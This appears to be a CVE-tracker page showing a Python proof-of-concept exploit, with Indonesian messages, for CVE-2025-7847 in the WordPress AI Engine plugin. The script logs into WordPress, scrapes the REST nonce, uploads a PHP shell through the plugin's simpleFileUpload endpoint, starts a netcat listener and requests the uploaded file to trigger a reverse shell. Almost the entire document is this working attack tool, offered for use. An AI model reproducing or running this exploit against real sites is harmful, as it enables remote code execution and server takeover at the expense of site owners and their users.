4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit-auto.py PY
import requests
import argparse
import os
import re
import subprocess
import threading
import time
from urllib.parse import urljoin
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def login_and_get_nonce(base_url, username, password):
    session = requests.Session()
    login_url = base_url.rstrip('/') + "/wp-login.php"

    print(f"[*] Opening login page: {login_url}")
    resp = session.get(login_url, verify=False)
    print("[LOG] GET /wp-login.php status:", resp.status_code)

    soup = BeautifulSoup(resp.text, "html.parser")
    redirect_input = soup.find("input", {"name": "redirect_to"})
    redirect_to = redirect_input['value'] if redirect_input else urljoin(base_url, "/wp-admin/")

    payload = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Log In',
        'redirect_to': redirect_to,
        'testcookie': '1'
    }

    print(f"[*] Trying login as: {username}")
    resp = session.post(login_url, data=payload, verify=False, allow_redirects=True)
    print("[LOG] POST /wp-login.php status:", resp.status_code)
    print("[LOG] Final redirected URL:", resp.url)

    if "/wp-admin" not in resp.url:
        raise Exception("[-] Login gagal. Periksa username/password atau struktur WordPress.")

    settings_url = base_url.rstrip("/") + "/wp-admin/"
    print(f"[*] Accessing settings page to fetch nonce: {settings_url}")
    resp = session.get(settings_url, verify=False)
    print("[LOG] GET settings page status:", resp.status_code)

    match = re.search(r'wpApiSettings\s*=\s*{[^}]*"nonce":"([^"]+)"', resp.text)
    if not match:
        raise Exception("[-] Gagal menemukan wpApiSettings.nonce.")

    nonce = match.group(1)
    print(f"[+] Nonce ditemukan: {nonce}")

    cookie_jar = session.cookies.get_dict()
    cookie_str = "; ".join([f"{k}={v}" for k, v in cookie_jar.items()])
    return nonce, cookie_str, session

def start_nc_listener(port):
    print(f"[*] Menjalankan netcat listener di port {port}...\n")
    try:
        subprocess.call(['nc', '-lvnp', str(port)])
    except FileNotFoundError:
        print("[!] Netcat tidak ditemukan! Jalankan manual:")
        print(f"    nc -lvnp {port}")

def upload_file(base_url, cookie, nonce, file_path, session, attacker_ip, attacker_port):
    endpoint = base_url.rstrip('/') + "/wp-json/mwai/v1/simpleFileUpload"
    print(f"[*] Upload endpoint: {endpoint}")

    if not os.path.isfile(file_path):
        print(f"[!] File tidak ditemukan: {file_path}")
        return

    files = {'file': open(file_path, 'rb')}
    headers = {
        'User-Agent': 'Mozilla/5.0',
        'Accept': 'application/json',
        'X-WP-Nonce': nonce,
        'X-Requested-With': 'XMLHttpRequest',
        'Referer': urljoin(base_url, "/wp-admin/admin.php?page=mwai_settings"),
        'Origin': base_url
    }

    cookies = dict([c.strip().split("=", 1) for c in cookie.split(";") if "=" in c])

    print("[*] Sending upload request...")
    response = session.post(endpoint, headers=headers, cookies=cookies, files=files, verify=False)
    print("[LOG] POST upload status:", response.status_code)

    if response.status_code == 200 and 'success' in response.text:
        json_data = response.json()
        shell_url = json_data['data']['url'].replace('\\/', '/')
        print("[+] Exploit berhasil!")
        print("[-] File diunggah ke:", shell_url)

        # Mulai listener nc di thread terpisah
        listener_thread = threading.Thread(target=start_nc_listener, args=(attacker_port,))
        listener_thread.start()

        # Tunggu listener siap
        time.sleep(2)

        # Trigger reverse shell
        print(f"[*] Memicu reverse shell dengan request ke: {shell_url}")
        try:
            requests.get(shell_url, verify=False, timeout=5)
        except requests.exceptions.ReadTimeout:
            print("[*] Reverse shell triggered (timeout expected if shell hangs)")

        listener_thread.join()
    else:
        print("[!] Upload gagal.")
        print("[-] Response body:", response.text[:500])

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit AI Engine (CVE-2025-7847) + Reverse Shell Trigger")
    parser.add_argument('--url', required=True, help='Target base URL (e.g. http://localhost/wordpress)')
    parser.add_argument('--username', required=True, help='WordPress username')
    parser.add_argument('--password', required=True, help='WordPress password')
    parser.add_argument('--file', required=True, help='Path ke shell file (e.g. shell.php)')
    parser.add_argument('--attacker-ip', default='127.0.0.1', help='IP listener penyerang')
    parser.add_argument('--attacker-port', type=int, default=4444, help='Port listener penyerang')

    args = parser.parse_args()

    try:
        nonce, cookie_str, session = login_and_get_nonce(args.url, args.username, args.password)
        upload_file(args.url, cookie_str, nonce, args.file, session, args.attacker_ip, args.attacker_port)
    except Exception as e:
        print(str(e))